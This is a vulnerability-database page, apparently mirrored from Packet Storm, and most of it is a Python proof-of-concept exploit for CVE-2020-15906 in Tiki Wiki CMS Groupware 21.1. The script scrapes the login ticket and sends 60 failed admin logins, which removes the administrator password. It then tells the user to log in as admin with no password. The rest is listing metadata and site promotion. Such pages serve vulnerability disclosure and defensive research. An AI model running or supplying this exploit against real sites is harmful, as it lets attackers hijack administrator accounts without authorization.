Tiki Wiki CMS Groupware 21.1 Authentication Bypass
🗓️ 21 Oct 2020 00:00:00Reported by Maximilian BarzType 
packetstorm🔗 packetstormsecurity.com👁 3108 Views
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
 | CVE-2020-15906 | 16 Jul 202614:00 | – | circl |
 | Tiki Authentication Bypass Vulnerability | 25 Oct 202000:00 | – | cnvd |
 | Tiki Wiki CMS Authentication Bypass (CVE-2020-15906) | 25 Nov 202000:00 | – | checkpoint_advisories |
 | CVE-2020-15906 | 22 Oct 202017:26 | – | cve |
 | CVE-2020-15906 | 22 Oct 202017:26 | – | cvelist |
 | Exploit for Improper Restriction of Excessive Authentication Attempts in Tiki | 23 Jul 202009:20 | – | githubexploit |
 | Tiki Wiki CMS Groupware 21.1 - Authentication Bypass | 21 Oct 202000:00 | – | exploitdb |
 | Tiki Wiki CMS GroupWare - Authentication Bypass | 13 Aug 202604:34 | – | nuclei |
 | CVE-2020-15906 | 22 Oct 202018:15 | – | nvd |
 | Default credentials | 22 Oct 202018:15 | – | prion |
10
`# Exploit Title: Tiki Wiki CMS Groupware 21.1 - Authentication Bypass
# Date: 01.08.2020 (1st August 2020)
# Exploit Author: Maximilian Barz aka. Silky
# Vendor Homepage: tiki.org
# Software Link: https://jztkft.dl.sourceforge.net/project/tikiwiki/Tiki_21.x_UY_Scuti/21.1/tiki-21.1.zip
# Version: 21.1
# Tested on: Kali Linux 5.7.0-kali1-amd64
#!/usr/bin/env/python3
import requests
import json
import lxml.html
import sys
banner = '''
████████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██████ ██ ██
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ███ ███
██ ██ █████ ██ ██ █ ██ ██ █████ ██ █████ ██ ██
██ ██ ██ ██ ██ ██ ███ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ███ ███ ██ ██ ██ ██ ███████ ██ ██ ██
█████ ██ ██ ████████ ██ ██ ███████ ███ ██ ████████ ██ ██████ █████ ████████ ██ ██████ ███ ██ ██████ ██ ██ ██████ █████ ███████ ███████
██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
███████ ██ ██ ██ ███████ █████ ██ ██ ██ ██ ██ ██ ███████ ██ ██ ██ ██ ██ ██ ██ ██████ ████ ██████ ███████ ███████ ███████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██████ ██ ██ ██ ███████ ██ ████ ██ ██ ██████ ██ ██ ██ ██ ██████ ██ ████ ██████ ██ ██ ██ ██ ███████ ███████
Poof of Concept for CVE-2020-15906 by Maximilian Barz, Twitter: S1lky_1337
'''
def main():
if(len(sys.argv) < 2):
print(banner)
print("Usage: %s <host> " % sys.argv[0])
print("Eg: %s 1.2.3.4 " % sys.argv[0])
return
rhost = sys.argv[1]
url = "http://"+rhost+"/tiki/tiki-login.php"
session = requests.Session()
def get_ticket():
r = requests.get(url)
login_page = r.text.encode('utf-8')
html = lxml.html.fromstring(login_page)
auth = html.xpath('//input[@name="ticket"]/@value')
return str(auth)[2:-2]
def get_cookie():
session.get(url)
return session.cookies.get_dict()
cookie = get_cookie()
ticket = get_ticket()
payload = {'ticket': ticket,'user':'admin', 'pass':'test','login':'','stay_in_ssl_mode_present':'y','stay_in_ssl_mode':'n'}
headers = {
'Host': rhost,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzrhost, deflate',
'Referer': 'http://'+rhost+'/tiki/tiki-login.php',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '125',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0',
}
for i in range(60):
r = session.post(url, payload, headers)
if("Account requires administrator approval." in r.text):
print("Admin Password got removed.")
print("Use BurpSuite to login into admin without a password ")
if(__name__ == '__main__'):
main()
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
21 Oct 2020 00:00Current
0.4Low risk
Vulners AI Score0.4
EPSS0.27362